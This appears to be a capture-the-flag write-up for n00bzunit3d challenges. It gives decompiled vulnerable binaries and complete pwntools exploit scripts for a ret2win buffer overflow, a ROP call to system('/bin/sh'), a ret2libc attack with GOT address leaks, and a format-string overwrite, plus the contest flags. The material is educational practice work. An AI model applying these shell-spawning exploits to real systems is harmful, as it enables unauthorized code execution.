I bought negative amounts of fake flags, which increase my balance which allowed me to buy the real flag.
Flag: n00bz{5h0p_g0t_h3ck3d_4nd_fl4g_g0t_570l3n!}
Decompiling with ghidra shows 2 functions:
void main(EVP_PKEY_CTX *param_1)
{
char buffer [64];
init(param_1);
puts("Would you like a flag?");
fgets(buffer,80,stdin);
system("cat fake_flag.txt");
return;
}
void win(void)
{
system("/bin/sh");
return;
}
Basic buffer overflow, 64+8 bytes of junk + address of win function, then get shell and print out flag.
Solve script:
from pwn import *
r = remote("challs.n00bzunit3d.xyz", 35932)
r.sendline(b"A"*72 + p64(0x000000000040124a))
r.interactive()
Flag: n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
Disassembling it in ghidra:
void main(EVP_PKEY_CTX *param_1)
{
char buffer [32];
init(param_1);
puts("Would you like a flag?");
fgets(input,25,stdin);
puts("Wrong Answer! I\'ll give you another chance!\n");
puts("Would you like a flag?");
fgets(buffer,96,stdin);
system("cat fake_flag.txt");
return;
}
Looking at the binary:
from pwn import *
context.log_level = 'error'
context.arch = 'amd64'
elf = ELF('./pwn2')
context.binary = elf
print(elf.symbols)
{'stdout': 4210784, 'stdin': 4210800, 'stderr': 4210816, '__abi_tag': 4195212, 'deregister_tm_clones': 4198640, 'register_tm_clones': 4198688, '__do_global_dtors_aux': 4198752, 'completed.0': 4210824, '__do_global_dtors_aux_fini_array_entry': 4210200, 'frame_dummy': 4198800, '__frame_dummy_init_array_entry': 4210192, '__FRAME_END__': 4202848, '_DYNAMIC': 4210208, '__GNU_EH_FRAME_HDR': 4202592, '_GLOBAL_OFFSET_TABLE_': 4210688, 'input': 4210832, 'stdout@GLIBC_2.2.5': 4210784, 'data_start': 4210744, 'stdin@GLIBC_2.2.5': 4210800, '_edata': 4210760, '_fini': 4199048, '__data_start': 4210744, '__dso_handle': 4210752, '_IO_stdin_used': 4202496, 'init': 4198808, '_end': 4210864, '_dl_relocate_static_pie': 4198624, '_start': 4198576, '__bss_start': 4210760, 'main': 4198909, '__TMC_END__': 4210760, '_init': 4198400, 'stderr@GLIBC_2.2.5': 4210816, 'puts': 4198516, 'plt.puts': 4198516, 'system': 4198532, 'plt.system': 4198532, 'fgets': 4198548, 'plt.fgets': 4198548, 'setvbuf': 4198564, 'plt.setvbuf': 4198564, '__libc_start_main': 4210672, 'got.__libc_start_main': 4210672, '__gmon_start__': 4210680, 'got.__gmon_start__': 4210680, 'got.stdout': 4210784, 'got.stdin': 4210800, 'got.stderr': 4210816, 'got.puts': 4210712, 'got.system': 4210720, 'got.fgets': 4210728, 'got.setvbuf': 4210736}
There is system
and input
to use. We can pass /bin/sh/
string into input and use that to call shell using system. Full solve script:
from pwn import *
context.log_level = 'error'
context.arch = 'amd64'
elf = ELF('./pwn2')
context.binary = elf
r = remote('challs.n00bzunit3d.xyz', 61223)
offset = 32 + 8
# +8 to overwrite the rbp
r.recv()
r.sendline(b"/bin/sh")
# sending /bin/sh into input
pop_rdi = p64(0x401196)
bin_sh = elf.symbols['input']
system = elf.symbols['system']
ret = p64(0x40101a)
# ret and pop_rdi gadget from ROPgadget/ropper
r.recv()
r.sendline(b'A' * offset + pop_rdi + p64(bin_sh) + ret + p64(system))
r.recv()
r.recv()
r.interactive()
Flag: n00bz{3xpl01t_w1th0u7_w1n_5uc355ful!}
Disassembling in ghidra:
void main(EVP_PKEY_CTX *param_1)
{
char buffer [32];
init(param_1);
puts("Would you like a flag?");
fgets(buffer,80,stdin);
puts("n00bz{f4k3_fl4g}");
return;
}
void gadget_one(void)
{
return;
}
The gadget_one functions is so that there is enough gadgets for a ret2libc which was hinted by the description. First we can leak the address of puts
and setvbuf
:
from pwn import *
context.log_level = 'error'
context.arch = 'amd64'
elf = ELF('./pwn3')
libc = ELF('./libc.so.6')
context.binary = elf
# r = elf.process()
r = remote('challs.n00bzunit3d.xyz', 42450)
offset = 40
### leak puts address
rop = ROP(elf)
rop.call(elf.symbols['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
payload = [
b'A' * offset,
rop.chain()
]
payload = b''.join(payload)
r.recvline()
r.sendline(payload)
r.recvline()
puts = u64(r.recvline().strip().ljust(8, b'\x00'))
print(f'puts: {hex(puts)}')
### Leak setvbuf address
rop = ROP(elf)
rop.call(elf.symbols['puts'], [elf.got['setvbuf']])
rop.call(elf.symbols['main'])
payload = [
b'A' * offset,
rop.chain()
]
payload = b''.join(payload)
r.recvline()
r.sendline(payload)
r.recvline()
setvbuf = u64(r.recvline().strip().ljust(8, b'\x00'))
print(f'setvbuf: {hex(setvbuf)}')
It gives out this:
puts: 0x7fdfb3c72ed0
setvbuf: 0x7fdfb3c73670
Using 2 libc databases, https://libc.blukat.me/ and https://libc.rip/
By trial and error, it was the second libc in both list: libc6_2.35-0ubuntu3.1_amd64. Download it and load it. libc = ELF('./libc.so.6')
. Change the base address of libc to the new one using the leak: libc.address = puts - libc.symbols['puts']
.
Create a new rop chain with libc to call system with /bin/sh and a ret gadget found using ROPgadget/ropper.
rop = ROP(libc)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload = [
b'A' * offset,
p64(0x000000000040101a), #ret
rop.chain()
]
Final exploit script:
from pwn import *
context.log_level = 'error'
context.arch = 'amd64'
elf = ELF('./pwn3')
libc = ELF('./libc.so.6')
context.binary = elf
# r = elf.process()
r = remote('challs.n00bzunit3d.xyz', 42450)
offset = 40
rop = ROP(elf)
rop.call(elf.symbols['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
payload = [
b'A' * offset,
rop.chain()
]
payload = b''.join(payload)
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts = u64(r.recvline().strip().ljust(8, b'\x00'))
print(f'puts: {hex(puts)}')
libc.address = puts - libc.symbols['puts']
rop = ROP(libc)
# rop.call('puts', [next(libc.search(b'/bin/sh\x00'))])
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload = [
b'A' * offset,
p64(0x000000000040101a), #ret
rop.chain()
]
payload = b''.join(payload)
r.recv()
r.sendline(payload)
r.recv()
r.interactive()
Flag: n00bz{1f_y0u_h4ve_n0th1ng_y0u_h4ve_l1bc}
Disassembling with ghidra:
void main(EVP_PKEY_CTX *param_1)
{
long in_FS_OFFSET;
char input [104];
init(param_1);
puts("Do you love strings? ");
fgets(input,100,stdin);
printf(input);
main2();
return;
}
void main2(void)
{
FILE *flag_stream;
long in_FS_OFFSET;
char real_flag [40];
flag_stream = fopen("flag.txt","r");
fgets(real_flag,40,flag_stream);
printf(fake_flag);
return;
}
There is a printf format string bug at fgets(input,100,stdin); printf(input);
in main. In main2, the real_flag is loaded into stack and printf(fake_flag);
is done. If the fake_flag could be overwritten with %s
, it could print out
the first item in stack which is the real_flag. So using the fsb in main, overwrite the fake_flag with %s
. But first need to get the offset of the fsb.
The offset is at 6. Using the pwntools fsb exploit builder is my exploit script:
from pwn import *
elf = context.binary = ELF('strings')
r = remote("challs.n00bzunit3d.xyz", 7150)
offset = 6
r.sendline(fmtstr_payload(offset, {elf.symbols.fake_flag:b"%s"}))
r.recv()
print(r.recv())
Flag: n00bz{f0rm4t_5tr1ng5_4r3_th3_b3s7!!!!!}